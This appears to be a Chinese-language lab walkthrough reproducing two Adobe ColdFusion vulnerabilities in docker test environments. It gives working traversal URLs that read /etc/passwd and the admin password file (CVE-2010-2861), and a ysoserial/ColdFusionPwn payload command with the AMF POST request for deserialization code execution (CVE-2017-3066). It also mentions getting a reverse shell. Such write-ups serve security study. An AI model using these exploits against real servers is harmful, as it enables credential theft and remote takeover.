Adobe ColdFusion漏洞

文件读取漏洞(CVE-2010-2861)

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。

环境搭建

执行如下命令启动Adobe CouldFusion 8.0.1版本服务器:

docker-compose up -d

环境启动可能需要1~5分钟,启动后,访问http://your-ip:8500/CFIDE/administrator/enter.cfm,可以看到初始化页面,输入密码admin,开始初始化整个环境。

漏洞复现

直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en,即可读取文件/etc/passwd

读取后台管理员密码http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

加密方法为MD5。

注意:初始密码是admin,通过文件读取漏洞获得的密码在通过MD5解密就可以知道了。

修改后,再次访问用户密码的url

可以看到密码已经改了。

反序列化漏洞(CVE-2017-3066)

Adobe ColdFusion中存在java反序列化漏洞。攻击者可利用该漏洞在受影响应用程序的上下文中执行任意代码或造成拒绝服务。以下版本受到影响:Adobe ColdFusion (2016 release) Update 3及之前的版本,ColdFusion 11 Update 11及之前的版本,ColdFusion 10 Update 22及之前的版本。

参考链接:

漏洞环境

启动漏洞环境:

docker-compose up -d

等待数分钟时间,环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm,输入密码vulhub,即可成功安装Adobe ColdFusion。

漏洞复现

我们使用参考链接中的ColdFusionPwn工具来生成POC:

java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-0.0.6-SNAPSHOT-all.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser

POC生成于poc.ser文件中,将POC作为数据包body发送给http://your-ip:8500/flex2gateway/amf,Content-Type为application/x-amf:

POST /flex2gateway/amf HTTP/1.1
Host: your-ip:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853

[...poc...]
//使用原本的请求包会失败,改了提交方法也不行。

进入容器中,发现/tmp/success已成功创建:

将POC改成反弹命令,成功拿到shell:

反弹命令要先base64编码!

参考链接:

上一篇
下一篇